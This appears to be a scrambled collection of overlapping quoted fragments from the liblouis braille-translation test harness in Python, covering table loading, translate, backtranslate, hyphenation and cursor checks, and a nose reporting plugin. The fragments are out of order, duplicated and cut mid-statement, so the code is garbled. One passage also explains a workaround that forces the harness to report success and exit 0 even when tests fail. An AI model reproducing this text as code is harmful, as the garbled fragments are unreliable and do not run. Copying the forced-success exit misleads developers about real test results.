"to remove the last item, and on python3 it is needed? # i.e.",
"f = open(harness, 'r') try: harnessModule = json.load(f, encoding=\"UTF-8\") except ValueError as e:",
"the Makefile, i.e. all the paths to the Python test files and #",
"writeln(self, *arg): pass def flush(self): pass d = dummy() return d def addError(self,",
"louis import translate, backTranslateString, hyphenate from louis import noContractions, compbrlAtCursor, dotsIO, comp8Dots, pass1Only,",
"Copyright (c) 2012, liblouis team, <NAME>. \"\"\"Liblouis test harness: Please see the liblouis",
"be removed, and the root of the problem found/resolved. hyphen_mask=hyphenate(tables, word+' ', mode)",
"(\"received brl:\", tBrl), template % (\"BRLCursorAt %d expected %d:\" %(tBrlCurPos, self.expectedBrlCursorPos), etBrlCurPosStr), \"---",
"for own use self.stream = stream # return dummy stream class dummy: def",
"@author: <NAME> <<EMAIL>> \"\"\" import json import os import sys import traceback from",
"for testData in section['data']: test = flags.copy() testTables = tableList[:] test.update(testData) bt =",
"map(lambda a,b: \"-\"+a if b=='1' else a, word, hyphen_mask)[:-1] ) else: return \"\".join(",
"by the Free Software Foundation; either # version 3 of the License, or",
"grab the test files from the arguments for test_file in sys.argv[1:]: testfiles.extend(iglob(os.path.join(harness_dir, test_file)))",
"a string to show the position of the given cursor.\"\"\" display = [\"",
"a new harness or more tests for your braille table. @author: <NAME> <<EMAIL>>",
"yield bt.check_translate if 'cursorPos' in test: yield bt.check_cursor if test['testmode'] == 'backtranslate': yield",
"# License along with this library; if not, write to the # Free",
"= mode if not mode else modes[mode] self.cursorPos = cursorPos self.expectedBrlCursorPos = brlCursorPos",
"= output self.mode = mode if not mode else modes[mode] self.cursorPos = cursorPos",
"in test: yield bt.check_cursor if test['testmode'] == 'backtranslate': yield bt.check_backtranslate if test['testmode'] ==",
"class dummy: def write(self, *arg): pass def writeln(self, *arg): pass def flush(self): pass",
"return d def addError(self, test, err): exctype, value, tb = err errMsg =",
"on python3 it is needed? # i.e. in python2 word and hyphen_mask not",
"failures=failures, errors=errors)) self.stream.write(\"\\n\".join(self.res)) ### End of nosetest plugin for controlling the output format.",
"function to make a string to show the position of the given cursor.\"\"\"",
"{'testmode':'translate'} for section in harnessModule['tests']: flags = origflags.copy() flags.update(section.get('flags', {})) for testData in",
"= open(harness, 'r') try: harnessModule = json.load(f, encoding=\"UTF-8\") except ValueError as e: raise",
"% errMsg) def addFailure(self, test, err): exctype, value, tb = err #errMsg =",
"are not invoked via the Makefile, i.e. we have to set up the",
"temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) template = \"%-25s '%s'\" etBrlCurPosStr =",
"and/or # modify it under the terms of the GNU Library General Public",
"noContractions, 'compbrlAtCursor': compbrlAtCursor, 'dotsIO': dotsIO, 'comp8Dots': comp8Dots, 'pass1Only': pass1Only, 'compbrlLeftCursor': compbrlLeftCursor, 'otherTrans': otherTrans,",
"tables if outputUniBrl: self.tables.insert(0, 'unicode.dis') self.input = input self.expectedOutput = output self.mode =",
"we are not invoked via the Makefile, i.e. we have to set up",
"test_file in sys.argv[1:]: testfiles.extend(iglob(os.path.join(harness_dir, test_file))) else: # Process all *_harness.txt files in the",
"self.harnessName = harnessName self.tables = tables if outputUniBrl: self.tables.insert(0, 'unicode.dis') self.input = input",
"cursorPos=self.cursorPos) template = \"%-25s '%s'\" etBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos, pos2=self.expectedBrlCursorPos) report = [",
"% (\"actual hyphenated word:\", hyphenated_word), \"--- end ---\", ] assert hyphenated_word == self.expectedOutput,",
"not, write to the # Free Software Foundation, Inc., Franklin Street, Fifth Floor,",
"= \".\" # make sure local test braille tables are found os.environ['LOUIS_TABLEPATH'] =",
"Process all *_harness.txt files in the harness directory. testfiles=iglob(os.path.join(harness_dir, '*_harness.txt')) for harness in",
"General Public # License as published by the Free Software Foundation; either #",
"python2 word and hyphen_mask not of the same length. if PY2: return \"\".join(",
"\"--- Braille Difference Failure: %s ---\" % self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template",
"Public # License as published by the Free Software Foundation; either # version",
"%(harness, e.message)) f.close() tableList = [] if isinstance(harnessModule['tables'], list): tableList.extend(harnessModule['tables']) else: tableList.append(harnessModule['tables']) origflags",
"the License, or (at your option) any later version. # # This library",
"= showCurPos(len(tBrl), tBrlCurPos, pos2=self.expectedBrlCursorPos) report = [ \"--- Braille Cursor Difference Failure: %s",
"\"%s\" % self.harnessName def hyphenateword(self, tables, word, mode): # FIXME: liblouis currently crashes",
"pos1, marker1=\"^\", pos2=None, marker2=\"*\"): \"\"\"A helper function to make a string to show",
"no way to mark a test as expected # failure ATM we would",
"self.res.append(\"Ran {total} tests{percent_string}, with {failures} failures and {errors} errors.\\n\".format(total=total, percent_string=percent_string, failures=failures, errors=errors)) self.stream.write(\"\\n\".join(self.res))",
"harnessName, tables, input, output, outputUniBrl=False, mode=0, cursorPos=None, brlCursorPos=None, testmode='translate', comment=[]): self.harnessName = harnessName",
"if HARNESS_DIR is set that we are invoked from # the Makefile, i.e.",
"pos2: display[pos2] = marker2 return \"\".join(display) class BrailleTest(): def __init__(self, harnessName, tables, input,",
"show the position of the given cursor.\"\"\" display = [\" \"] *length display[pos1]",
"def u(a): if PY2: return a.encode(\"utf-8\") return a modes = { 'noContractions': noContractions,",
"marker2 return \"\".join(display) class BrailleTest(): def __init__(self, harnessName, tables, input, output, outputUniBrl=False, mode=0,",
"@author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> \"\"\" import json import",
"not None: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) else: tBrl,",
"the test files from the arguments for test_file in sys.argv[1:]: testfiles.extend(iglob(os.path.join(harness_dir, test_file))) else:",
"= \"%-25s '%s'\" report = [ \"--- Hyphenation failure: %s ---\" % self.__str__(),",
"Skipping...\\n\") sys.exit(0) ### Nosetest plugin for controlling the output format. ### class Reporter(Plugin):",
"and hyphen_mask not of the same length. if PY2: return \"\".join( map(lambda a,b:",
"= \"%-25s '%s'\" report = [ \"--- Backtranslate failure: %s ---\" % self.__str__(),",
"testmode def __str__(self): return \"%s\" % self.harnessName def hyphenateword(self, tables, word, mode): #",
"addFailure(self, test, err): exctype, value, tb = err #errMsg = ''.join(traceback.format_exception(exctype, value, None))",
"testfiles: f = open(harness, 'r') try: harnessModule = json.load(f, encoding=\"UTF-8\") except ValueError as",
"(\"BRLCursorAt %d expected %d:\" %(tBrlCurPos, self.expectedBrlCursorPos), etBrlCurPosStr), \"--- end ---\" ] assert tBrlCurPos",
"self.stream = stream # return dummy stream class dummy: def write(self, *arg): pass",
"have received a copy of the GNU Library General Public # License along",
"Hyphenation failure: %s ---\" % self.__str__(), template % (\"input:\", self.input), template % (\"expected",
"Braille Cursor Difference Failure: %s ---\" %self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template %",
"in the harness directory. testfiles=iglob(os.path.join(harness_dir, '*_harness.txt')) for harness in testfiles: f = open(harness,",
"output format. ### PY2 = sys.version_info[0] == 2 def u(a): if PY2: return",
"\"\".join(display) class BrailleTest(): def __init__(self, harnessName, tables, input, output, outputUniBrl=False, mode=0, cursorPos=None, brlCursorPos=None,",
"a,b: \"-\"+a if b=='1' else a, word, hyphen_mask)) ) def check_translate(self): if self.cursorPos",
"# we assume that if HARNESS_DIR is set that we are invoked from",
"harness in testfiles: f = open(harness, 'r') try: harnessModule = json.load(f, encoding=\"UTF-8\") except",
"[ \"--- Hyphenation failure: %s ---\" % self.__str__(), template % (\"input:\", self.input), template",
"harnessModule['tests']: flags = origflags.copy() flags.update(section.get('flags', {})) for testData in section['data']: test = flags.copy()",
"counter running past the end of the string. # medium/longterm this hack should",
"yield bt.check_cursor if test['testmode'] == 'backtranslate': yield bt.check_backtranslate if test['testmode'] == 'hyphenate': yield",
"u(\"\\n\".join(report)) def check_cursor(self): tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) template",
"local test braille tables are found os.environ['LOUIS_TABLEPATH'] = '../tables,../../tables' testfiles=[] if len(sys.argv)>1: #",
"sys.stderr.write(\"The harness tests require nose. Skipping...\\n\") sys.exit(0) ### Nosetest plugin for controlling the",
"(\"expected text:\", self.expectedOutput), template % (\"actual backtranslated text:\", backtranslate_output), \"--- end ---\", ]",
"\"--- end ---\", ] assert backtranslate_output == self.expectedOutput, u(\"\\n\".join(report)) def check_cursor(self): tBrl, temp1,",
"if isinstance(harnessModule['tables'], list): tableList.extend(harnessModule['tables']) else: tableList.append(harnessModule['tables']) origflags = {'testmode':'translate'} for section in harnessModule['tests']:",
"%s ---\" % self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template",
"to show the position of the given cursor.\"\"\" display = [\" \"] *length",
"self.expectedBrlCursorPos = brlCursorPos self.comment = comment self.testmode = testmode def __str__(self): return \"%s\"",
"of tests. So, # for this release we will pretend all tests succeeded",
"exctype, value, tb = err #errMsg = ''.join(traceback.format_exception(exctype, value, None)) self.res.append(\"%s\\n\" % value)",
"comment=[]): self.harnessName = harnessName self.tables = tables if outputUniBrl: self.tables.insert(0, 'unicode.dis') self.input =",
"= [ \"--- Backtranslate failure: %s ---\" % self.__str__(), template % (\"comment:\", \"\".join(self.comment)),",
"not of the same length. if PY2: return \"\".join( map(lambda a,b: \"-\"+a if",
"Ideally the harness tests should return the result of the # tests. However",
"\"%-25s '%s'\" report = [ \"--- Hyphenation failure: %s ---\" % self.__str__(), template",
"and on python3 it is needed? # i.e. in python2 word and hyphen_mask",
"See the GNU # Library General Public License for more details. # #",
"### End of nosetest plugin for controlling the output format. ### PY2 =",
"[ \"--- Braille Cursor Difference Failure: %s ---\" %self.__str__(), template % (\"comment:\", \"\".join(self.comment)),",
"mark a test as expected # failure ATM we would have to disable",
"the terms of the GNU Library General Public # License as published by",
"make a string to show the position of the given cursor.\"\"\" display =",
"test = flags.copy() testTables = tableList[:] test.update(testData) bt = BrailleTest(harness, testTables, **test) if",
"for this release we will pretend all tests succeeded and will # add",
"translate, backTranslateString, hyphenate from louis import noContractions, compbrlAtCursor, dotsIO, comp8Dots, pass1Only, compbrlLeftCursor, otherTrans,",
"__init__(self, harnessName, tables, input, output, outputUniBrl=False, mode=0, cursorPos=None, brlCursorPos=None, testmode='translate', comment=[]): self.harnessName =",
"*arg): pass def flush(self): pass d = dummy() return d def addError(self, test,",
"braille table. @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> \"\"\" import",
"doesn't look like a harness file, %s\" %(harness, e.message)) f.close() tableList = []",
"hyphenated word:\", self.expectedOutput), template % (\"actual hyphenated word:\", hyphenated_word), \"--- end ---\", ]",
"try: from nose.plugins import Plugin from nose import run except ImportError: sys.stderr.write(\"The harness",
"stream): # grab for own use self.stream = stream # return dummy stream",
"of nosetest plugin for controlling the output format. ### PY2 = sys.version_info[0] ==",
"word and hyphen_mask not of the same length. if PY2: return \"\".join( map(lambda",
"= run(addplugins=[Reporter()], argv=['-v', '--with-reporter', sys.argv[0]], defaultTest=__name__) # FIXME: Ideally the harness tests should",
"the next release. See also # http://stackoverflow.com/questions/9613932/nose-plugin-for-expected-failures result = True sys.exit(0 if result",
"length. if PY2: return \"\".join( map(lambda a,b: \"-\"+a if b=='1' else a, word,",
"# for this release we will pretend all tests succeeded and will #",
"= marker1 if pos2: display[pos2] = marker2 return \"\".join(display) class BrailleTest(): def __init__(self,",
"root of the problem found/resolved. hyphen_mask=hyphenate(tables, word+' ', mode) # FIXME: why on",
"manually. harness_dir = \".\" # make sure local test braille tables are found",
"harnessName self.tables = tables if outputUniBrl: self.tables.insert(0, 'unicode.dis') self.input = input self.expectedOutput =",
"result of the # tests. However since there is no way to mark",
"word+' ', mode) # FIXME: why on python 2 do we need to",
"past the end of the string. # medium/longterm this hack should be removed,",
"space at end of the word, probably due to a counter running past",
"def check_backtranslate(self): backtranslate_output = backTranslateString(self.tables, self.input, None, mode=self.mode) template = \"%-25s '%s'\" report",
"flush(self): pass d = dummy() return d def addError(self, test, err): exctype, value,",
"== '__main__': result = run(addplugins=[Reporter()], argv=['-v', '--with-reporter', sys.argv[0]], defaultTest=__name__) # FIXME: Ideally the",
"found os.environ['LOUIS_TABLEPATH'] = '../tables,../../tables' testfiles=[] if len(sys.argv)>1: # grab the test files from",
"return \"%s\" % self.harnessName def hyphenateword(self, tables, word, mode): # FIXME: liblouis currently",
"# failure ATM we would have to disable a whole file of tests.",
"for controlling the output format. ### class Reporter(Plugin): name = 'reporter' def __init__(self):",
"is needed? # i.e. in python2 word and hyphen_mask not of the same",
"display[pos2] = marker2 return \"\".join(display) class BrailleTest(): def __init__(self, harnessName, tables, input, output,",
"file, %s\" %(harness, e.message)) f.close() tableList = [] if isinstance(harnessModule['tables'], list): tableList.extend(harnessModule['tables']) else:",
"# # You should have received a copy of the GNU Library General",
"'pass1Only': pass1Only, 'compbrlLeftCursor': compbrlLeftCursor, 'otherTrans': otherTrans, 'ucBrl': ucBrl } def showCurPos(length, pos1, marker1=\"^\",",
"\"-\"+a if b=='1' else a, word, hyphen_mask)[:-1] ) else: return \"\".join( list(map(lambda a,b:",
"template % (\"actual backtranslated text:\", backtranslate_output), \"--- end ---\", ] assert backtranslate_output ==",
"if 'cursorPos' in test: yield bt.check_cursor if test['testmode'] == 'backtranslate': yield bt.check_backtranslate if",
"General Public # License along with this library; if not, write to the",
"mode if not mode else modes[mode] self.cursorPos = cursorPos self.expectedBrlCursorPos = brlCursorPos self.comment",
"removed, and the root of the problem found/resolved. hyphen_mask=hyphenate(tables, word+' ', mode) #",
"PY2: return \"\".join( map(lambda a,b: \"-\"+a if b=='1' else a, word, hyphen_mask)[:-1] )",
"since there is no way to mark a test as expected # failure",
"= backTranslateString(self.tables, self.input, None, mode=self.mode) template = \"%-25s '%s'\" report = [ \"---",
"to set up the # paths (LOUIS_TABLEPATH) manually. harness_dir = \".\" # make",
"import os import sys import traceback from glob import iglob from louis import",
"e: raise ValueError(\"%s doesn't look like a harness file, %s\" %(harness, e.message)) f.close()",
"= sys.version_info[0] == 2 def u(a): if PY2: return a.encode(\"utf-8\") return a modes",
"02110-1301 USA. # # Copyright (c) 2012, liblouis team, <NAME>. \"\"\"Liblouis test harness:",
"stream class dummy: def write(self, *arg): pass def writeln(self, *arg): pass def flush(self):",
"dotsIO, comp8Dots, pass1Only, compbrlLeftCursor, otherTrans, ucBrl try: from nose.plugins import Plugin from nose",
"Difference Failure: %s ---\" % self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\",",
"the liblouis documentation for information of how to add a new harness or",
"PY2: return a.encode(\"utf-8\") return a modes = { 'noContractions': noContractions, 'compbrlAtCursor': compbrlAtCursor, 'dotsIO':",
"from nose.plugins import Plugin from nose import run except ImportError: sys.stderr.write(\"The harness tests",
"''.join(traceback.format_exception(exctype, value, None)) self.res.append(\"%s\\n\" % value) def finalize(self, result): failures=len(result.failures) errors=len(result.errors) total=result.testsRun percent_string",
"return the result of the # tests. However since there is no way",
"grab for own use self.stream = stream # return dummy stream class dummy:",
"glob import iglob from louis import translate, backTranslateString, hyphenate from louis import noContractions,",
"value, tb = err errMsg = ''.join(traceback.format_exception(exctype, value, tb)) self.res.append(\"--- Error: ---\\n%s\\n--- end",
"to a counter running past the end of the string. # medium/longterm this",
"succeeded and will # add a @expected_test feature for the next release. See",
"= translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) template = \"%-25s '%s'\" etBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos,",
"run(addplugins=[Reporter()], argv=['-v', '--with-reporter', sys.argv[0]], defaultTest=__name__) # FIXME: Ideally the harness tests should return",
"@expected_test feature for the next release. See also # http://stackoverflow.com/questions/9613932/nose-plugin-for-expected-failures result = True",
"from # the Makefile, i.e. all the paths to the Python test files",
"Makefile, i.e. we have to set up the # paths (LOUIS_TABLEPATH) manually. harness_dir",
"crashes if we dont add space at end of the word, probably due",
"it will be useful, # but WITHOUT ANY WARRANTY; without even the implied",
"test['testmode'] == 'backtranslate': yield bt.check_backtranslate if test['testmode'] == 'hyphenate': yield bt.check_hyphenate if __name__",
"later version. # # This library is distributed in the hope that it",
"etBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos, pos2=self.expectedBrlCursorPos) report = [ \"--- Braille Cursor Difference Failure:",
"dummy: def write(self, *arg): pass def writeln(self, *arg): pass def flush(self): pass d",
"<<EMAIL>> @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> \"\"\" import json import os import",
"template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"expected brl:\", self.expectedOutput),",
"name = 'reporter' def __init__(self): super(Reporter, self).__init__() self.res = [] self.stream = None",
"do we need to remove the last item, and on python3 it is",
"text:\", self.expectedOutput), template % (\"actual backtranslated text:\", backtranslate_output), \"--- end ---\", ] assert",
"assert hyphenated_word == self.expectedOutput, u(\"\\n\".join(report)) def test_allCases(): if 'HARNESS_DIR' in os.environ: # we",
"harnessModule = json.load(f, encoding=\"UTF-8\") except ValueError as e: raise ValueError(\"%s doesn't look like",
"= err errMsg = ''.join(traceback.format_exception(exctype, value, tb)) self.res.append(\"--- Error: ---\\n%s\\n--- end ---\\n\" %",
"brl:\", self.expectedOutput), template % (\"actual brl:\", tBrl), \"--- end ---\", ] assert tBrl",
"General Public License for more details. # # You should have received a",
"\"\"\" import json import os import sys import traceback from glob import iglob",
"assume that if HARNESS_DIR is set that we are invoked from # the",
"\"%-25s '%s'\" etBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos, pos2=self.expectedBrlCursorPos) report = [ \"--- Braille Cursor",
"0 else \"\" self.res.append(\"Ran {total} tests{percent_string}, with {failures} failures and {errors} errors.\\n\".format(total=total, percent_string=percent_string,",
"return \"\".join( map(lambda a,b: \"-\"+a if b=='1' else a, word, hyphen_mask)[:-1] ) else:",
"the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See",
"the same length. if PY2: return \"\".join( map(lambda a,b: \"-\"+a if b=='1' else",
"arguments for test_file in sys.argv[1:]: testfiles.extend(iglob(os.path.join(harness_dir, test_file))) else: # Process all *_harness.txt files",
"However since there is no way to mark a test as expected #",
"bt.check_backtranslate if test['testmode'] == 'hyphenate': yield bt.check_hyphenate if __name__ == '__main__': result =",
"tBrl == self.expectedOutput, u(\"\\n\".join(report)) def check_backtranslate(self): backtranslate_output = backTranslateString(self.tables, self.input, None, mode=self.mode) template",
"else \"\" self.res.append(\"Ran {total} tests{percent_string}, with {failures} failures and {errors} errors.\\n\".format(total=total, percent_string=percent_string, failures=failures,",
"tBrlCurPos) report = [ \"--- Braille Difference Failure: %s ---\" % self.__str__(), template",
"---\", ] assert backtranslate_output == self.expectedOutput, u(\"\\n\".join(report)) def check_cursor(self): tBrl, temp1, temp2, tBrlCurPos",
"BrailleTest(): def __init__(self, harnessName, tables, input, output, outputUniBrl=False, mode=0, cursorPos=None, brlCursorPos=None, testmode='translate', comment=[]):",
"backtranslated text:\", backtranslate_output), \"--- end ---\", ] assert backtranslate_output == self.expectedOutput, u(\"\\n\".join(report)) def",
"\"--- Backtranslate failure: %s ---\" % self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template %",
"tables are set correctly. harness_dir = os.environ['HARNESS_DIR'] else: # we are not invoked",
"sure local test braille tables are found os.environ['LOUIS_TABLEPATH'] = '../tables,../../tables' testfiles=[] if len(sys.argv)>1:",
"sys.argv[1:]: testfiles.extend(iglob(os.path.join(harness_dir, test_file))) else: # Process all *_harness.txt files in the harness directory.",
"if __name__ == '__main__': result = run(addplugins=[Reporter()], argv=['-v', '--with-reporter', sys.argv[0]], defaultTest=__name__) # FIXME:",
"at end of the word, probably due to a counter running past the",
"Error: ---\\n%s\\n--- end ---\\n\" % errMsg) def addFailure(self, test, err): exctype, value, tb",
"dotsIO, 'comp8Dots': comp8Dots, 'pass1Only': pass1Only, 'compbrlLeftCursor': compbrlLeftCursor, 'otherTrans': otherTrans, 'ucBrl': ucBrl } def",
"of the GNU Library General Public # License as published by the Free",
"test, err): exctype, value, tb = err errMsg = ''.join(traceback.format_exception(exctype, value, tb)) self.res.append(\"---",
"%self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"received brl:\",",
"nose. Skipping...\\n\") sys.exit(0) ### Nosetest plugin for controlling the output format. ### class",
"% self.__str__(), template % (\"input:\", self.input), template % (\"expected hyphenated word:\", self.expectedOutput), template",
"and {errors} errors.\\n\".format(total=total, percent_string=percent_string, failures=failures, errors=errors)) self.stream.write(\"\\n\".join(self.res)) ### End of nosetest plugin for",
"check_hyphenate(self): hyphenated_word = self.hyphenateword(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\" report = [",
"the GNU Library General Public # License along with this library; if not,",
"mode): # FIXME: liblouis currently crashes if we dont add space at end",
"---\" %self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"received",
"why on python 2 do we need to remove the last item, and",
"braille tables are found os.environ['LOUIS_TABLEPATH'] = '../tables,../../tables' testfiles=[] if len(sys.argv)>1: # grab the",
"a copy of the GNU Library General Public # License along with this",
"else modes[mode] self.cursorPos = cursorPos self.expectedBrlCursorPos = brlCursorPos self.comment = comment self.testmode =",
"self.input), template % (\"received brl:\", tBrl), template % (\"BRLCursorAt %d expected %d:\" %(tBrlCurPos,",
"(LOUIS_TABLEPATH) manually. harness_dir = \".\" # make sure local test braille tables are",
"self.comment = comment self.testmode = testmode def __str__(self): return \"%s\" % self.harnessName def",
"<<EMAIL>> \"\"\" import json import os import sys import traceback from glob import",
"the output format. ### PY2 = sys.version_info[0] == 2 def u(a): if PY2:",
"[\" \"] *length display[pos1] = marker1 if pos2: display[pos2] = marker2 return \"\".join(display)",
"%s\" %(harness, e.message)) f.close() tableList = [] if isinstance(harnessModule['tables'], list): tableList.extend(harnessModule['tables']) else: tableList.append(harnessModule['tables'])",
"b=='1' else a, word, hyphen_mask)) ) def check_translate(self): if self.cursorPos is not None:",
"on python 2 do we need to remove the last item, and on",
"\"\".join( list(map(lambda a,b: \"-\"+a if b=='1' else a, word, hyphen_mask)) ) def check_translate(self):",
"and # the test tables are set correctly. harness_dir = os.environ['HARNESS_DIR'] else: #",
"class Reporter(Plugin): name = 'reporter' def __init__(self): super(Reporter, self).__init__() self.res = [] self.stream",
"template % (\"input:\", self.input), template % (\"expected brl:\", self.expectedOutput), template % (\"actual brl:\",",
"self.input, mode=self.mode) template = \"%-25s '%s'\" tBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos) report = [",
"test harness: Please see the liblouis documentation for information of how to add",
"({percent}% success)\".format(percent=round((total-failures-errors+0.0)/total*100,2)) if total > 0 else \"\" self.res.append(\"Ran {total} tests{percent_string}, with {failures}",
"try: harnessModule = json.load(f, encoding=\"UTF-8\") except ValueError as e: raise ValueError(\"%s doesn't look",
"Reporter(Plugin): name = 'reporter' def __init__(self): super(Reporter, self).__init__() self.res = [] self.stream =",
"'hyphenate': yield bt.check_hyphenate if __name__ == '__main__': result = run(addplugins=[Reporter()], argv=['-v', '--with-reporter', sys.argv[0]],",
"None: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) else: tBrl, temp1,",
"def writeln(self, *arg): pass def flush(self): pass d = dummy() return d def",
"len(sys.argv)>1: # grab the test files from the arguments for test_file in sys.argv[1:]:",
"if PY2: return a.encode(\"utf-8\") return a modes = { 'noContractions': noContractions, 'compbrlAtCursor': compbrlAtCursor,",
"for more details. # # You should have received a copy of the",
"def check_cursor(self): tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) template =",
"this library; if not, write to the # Free Software Foundation, Inc., Franklin",
"percent_string = \" ({percent}% success)\".format(percent=round((total-failures-errors+0.0)/total*100,2)) if total > 0 else \"\" self.res.append(\"Ran {total}",
"def hyphenateword(self, tables, word, mode): # FIXME: liblouis currently crashes if we dont",
"= os.environ['HARNESS_DIR'] else: # we are not invoked via the Makefile, i.e. we",
"python # -*- coding: utf-8 -*- # Liblouis test harness # # This",
"self.expectedOutput, u(\"\\n\".join(report)) def test_allCases(): if 'HARNESS_DIR' in os.environ: # we assume that if",
"hack should be removed, and the root of the problem found/resolved. hyphen_mask=hyphenate(tables, word+'",
"traceback from glob import iglob from louis import translate, backTranslateString, hyphenate from louis",
"= [] self.stream = None def setOutputStream(self, stream): # grab for own use",
"FIXME: liblouis currently crashes if we dont add space at end of the",
"if test['testmode'] == 'translate': yield bt.check_translate if 'cursorPos' in test: yield bt.check_cursor if",
"are invoked from # the Makefile, i.e. all the paths to the Python",
"more details. # # You should have received a copy of the GNU",
"marker1 if pos2: display[pos2] = marker2 return \"\".join(display) class BrailleTest(): def __init__(self, harnessName,",
"# FIXME: liblouis currently crashes if we dont add space at end of",
"comp8Dots, 'pass1Only': pass1Only, 'compbrlLeftCursor': compbrlLeftCursor, 'otherTrans': otherTrans, 'ucBrl': ucBrl } def showCurPos(length, pos1,",
"test files and # the test tables are set correctly. harness_dir = os.environ['HARNESS_DIR']",
"GNU Library General Public # License along with this library; if not, write",
"all the paths to the Python test files and # the test tables",
"Liblouis test harness # # This library is free software; you can redistribute",
"% self.harnessName def hyphenateword(self, tables, word, mode): # FIXME: liblouis currently crashes if",
"exctype, value, tb = err errMsg = ''.join(traceback.format_exception(exctype, value, tb)) self.res.append(\"--- Error: ---\\n%s\\n---",
"output format. ### class Reporter(Plugin): name = 'reporter' def __init__(self): super(Reporter, self).__init__() self.res",
"d = dummy() return d def addError(self, test, err): exctype, value, tb =",
"End of nosetest plugin for controlling the output format. ### PY2 = sys.version_info[0]",
"item, and on python3 it is needed? # i.e. in python2 word and",
"def check_hyphenate(self): hyphenated_word = self.hyphenateword(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\" report =",
"hyphenateword(self, tables, word, mode): # FIXME: liblouis currently crashes if we dont add",
"self.expectedOutput), template % (\"actual hyphenated word:\", hyphenated_word), \"--- end ---\", ] assert hyphenated_word",
"the # Free Software Foundation, Inc., Franklin Street, Fifth Floor, # Boston MA",
"distributed in the hope that it will be useful, # but WITHOUT ANY",
"louis import noContractions, compbrlAtCursor, dotsIO, comp8Dots, pass1Only, compbrlLeftCursor, otherTrans, ucBrl try: from nose.plugins",
"def finalize(self, result): failures=len(result.failures) errors=len(result.errors) total=result.testsRun percent_string = \" ({percent}% success)\".format(percent=round((total-failures-errors+0.0)/total*100,2)) if total",
"word:\", self.expectedOutput), template % (\"actual hyphenated word:\", hyphenated_word), \"--- end ---\", ] assert",
"#!/usr/bin/env python # -*- coding: utf-8 -*- # Liblouis test harness # #",
"temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) else: tBrl, temp1, temp2, tBrlCurPos =",
"Backtranslate failure: %s ---\" % self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\",",
"in harnessModule['tests']: flags = origflags.copy() flags.update(section.get('flags', {})) for testData in section['data']: test =",
"# grab for own use self.stream = stream # return dummy stream class",
"it under the terms of the GNU Library General Public # License as",
"test tables are set correctly. harness_dir = os.environ['HARNESS_DIR'] else: # we are not",
"origflags.copy() flags.update(section.get('flags', {})) for testData in section['data']: test = flags.copy() testTables = tableList[:]",
"for the next release. See also # http://stackoverflow.com/questions/9613932/nose-plugin-for-expected-failures result = True sys.exit(0 if",
"mode=0, cursorPos=None, brlCursorPos=None, testmode='translate', comment=[]): self.harnessName = harnessName self.tables = tables if outputUniBrl:",
"last item, and on python3 it is needed? # i.e. in python2 word",
"noContractions, compbrlAtCursor, dotsIO, comp8Dots, pass1Only, compbrlLeftCursor, otherTrans, ucBrl try: from nose.plugins import Plugin",
"= translate(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\" tBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos) report",
"are set correctly. harness_dir = os.environ['HARNESS_DIR'] else: # we are not invoked via",
"otherTrans, 'ucBrl': ucBrl } def showCurPos(length, pos1, marker1=\"^\", pos2=None, marker2=\"*\"): \"\"\"A helper function",
"json import os import sys import traceback from glob import iglob from louis",
"= ''.join(traceback.format_exception(exctype, value, tb)) self.res.append(\"--- Error: ---\\n%s\\n--- end ---\\n\" % errMsg) def addFailure(self,",
"---\" % self.__str__(), template % (\"input:\", self.input), template % (\"expected hyphenated word:\", self.expectedOutput),",
"showCurPos(len(tBrl), tBrlCurPos) report = [ \"--- Braille Difference Failure: %s ---\" % self.__str__(),",
"%d:\" %(tBrlCurPos, self.expectedBrlCursorPos), etBrlCurPosStr), \"--- end ---\" ] assert tBrlCurPos == self.expectedBrlCursorPos, u(\"\\n\".join(report))",
"failures=len(result.failures) errors=len(result.errors) total=result.testsRun percent_string = \" ({percent}% success)\".format(percent=round((total-failures-errors+0.0)/total*100,2)) if total > 0 else",
"hyphenated_word), \"--- end ---\", ] assert hyphenated_word == self.expectedOutput, u(\"\\n\".join(report)) def test_allCases(): if",
"harness: Please see the liblouis documentation for information of how to add a",
"of the word, probably due to a counter running past the end of",
"2 do we need to remove the last item, and on python3 it",
"report = [ \"--- Hyphenation failure: %s ---\" % self.__str__(), template % (\"input:\",",
"== 'translate': yield bt.check_translate if 'cursorPos' in test: yield bt.check_cursor if test['testmode'] ==",
"'%s'\" report = [ \"--- Hyphenation failure: %s ---\" % self.__str__(), template %",
"= stream # return dummy stream class dummy: def write(self, *arg): pass def",
"if test['testmode'] == 'hyphenate': yield bt.check_hyphenate if __name__ == '__main__': result = run(addplugins=[Reporter()],",
